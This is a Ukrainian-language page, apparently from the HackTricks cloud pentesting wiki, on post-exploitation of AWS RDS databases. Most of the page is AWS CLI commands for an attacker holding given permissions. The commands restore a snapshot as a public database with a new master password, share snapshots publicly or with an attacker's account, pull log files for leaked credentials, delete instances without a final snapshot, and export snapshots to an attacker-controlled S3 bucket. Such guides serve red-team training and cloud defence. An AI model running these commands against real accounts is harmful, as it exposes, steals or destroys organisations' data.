AWS - RDS Постексплуатація

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

RDS

Для отримання додаткової інформації перегляньте:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Якщо атакуючий має достатні права, він може зробити БД загальнодоступною, створивши знімок БД, а потім загальнодоступну БД з цього знімка.

bash
aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Зловмисник з цими правами міг би створити знімок бази даних і зробити його доступним публічно. Потім він міг би просто створити у своєму обліковому записі базу даних з цього знімка.

Якщо зловмисник не має rds:CreateDBSnapshot, він все ще міг би зробити інші створені знімки публічними.

bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Зловмисник з дозволом rds:DownloadDBLogFilePortion може завантажувати частини лог-файлів екземпляра RDS. Якщо чутливі дані або облікові дані доступу випадково записуються в лог, зловмисник може потенційно використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій.

bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Потенційний вплив: Доступ до чутливої інформації або несанкціоновані дії з використанням злитих облікових даних.

rds:DeleteDBInstance

Зловмисник з цими дозволами може виконати DoS-атаку на існуючі RDS-екземпляри.

bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Потенційний вплив: Видалення існуючих RDS екземплярів та потенційна втрата даних.

rds:StartExportTask

note

TODO: Test

Зловмисник з цим дозволом може експортувати знімок екземпляра RDS до S3 кошика. Якщо зловмисник контролює цільовий S3 кошик, він може потенційно отримати доступ до чутливих даних у експортованому знімку.

bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Потенційний вплив: Доступ до чутливих даних у експортованій знімці.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks